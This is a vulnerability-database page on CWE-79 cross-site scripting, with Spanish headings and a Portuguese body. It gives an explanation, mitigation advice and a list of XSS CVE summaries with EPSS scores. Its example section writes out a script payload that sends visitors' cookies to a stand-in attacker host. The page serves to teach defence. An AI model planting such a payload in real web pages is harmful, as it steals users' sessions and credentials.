Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2017-0931—html-janitor node module suffers from a Cross-Site Scripting (XSS) vulnerability via clean() accepting user-controlled values.EPSS 1.1%CVE-2017-15888—Cross-site scripting (XSS) vulnerability in Custom Internet Radio List in Synology Audio Station before 6.3.0-3260 allows remote authenticatEPSS 1.1%CVE-2020-3583MEDIUMCisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web Services Interface Cross-Site Scripting VulnerabilitiesEPSS 1.1%CVE-2022-41224MEDIUMJenkins 2.367 through 2.369 (both inclusive) does not escape tooltips of the l:helpIcon UI component used for some help icons on the JenkinsEPSS 1.1%CVE-2023-5244MEDIUMCross-site Scripting (XSS) - Reflected in microweber/microweberEPSS 1.1%CVE-2024-22397HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in the SonicOS SSLVPN portal allows a remote authenticaEPSS 1.1%CVE-2022-2101MEDIUMDownload Manager <= 3.2.46 - Contributor+ Cross-Site ScriptingEPSS 1.1%CVE-2020-15092HIGHStored XSS in TimelineJS3EPSS 1.1%CVE-2024-27285MEDIUMYARD's default template vulnerable to Cross-site Scripting in generated frames.htmlEPSS 1.1%CVE-2023-1315MEDIUMCross-site Scripting (XSS) - Reflected in osticket/osticketEPSS 1.1%CVE-2021-22878—Nextcloud Server prior to 20.0.6 is vulnerable to reflected cross-site scripting (XSS) due to lack of sanitization in `OC.Notification.show`EPSS 1.1%CVE-2021-35238MEDIUMStored XSS through URL POST parameter in CreateExternalWebsite VulnerabilityEPSS 1.1%CVE-2017-2607MEDIUMjenkins before versions 2.44, 2.32.2 is vulnerable to a persisted cross-site scripting vulnerability in console notes (SECURITY-382). JenkinEPSS 1.1%CVE-2019-12716MEDIUMCisco Unified Communications Manager Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2019-12695MEDIUMCisco Adaptive Security Appliance and Firepower Threat Defense Software WebVPN Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2019-1852MEDIUMCisco Prime Network Registrar Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2019-12712MEDIUMCisco Prime Infrastructure Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2019-1931MEDIUMCisco Firepower Management Center RSS Cross-Site Scripting VulnerabilitiesEPSS 1.1%CVE-2019-12631MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2022-44957MEDIUMwebtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulneraEPSS 1.1%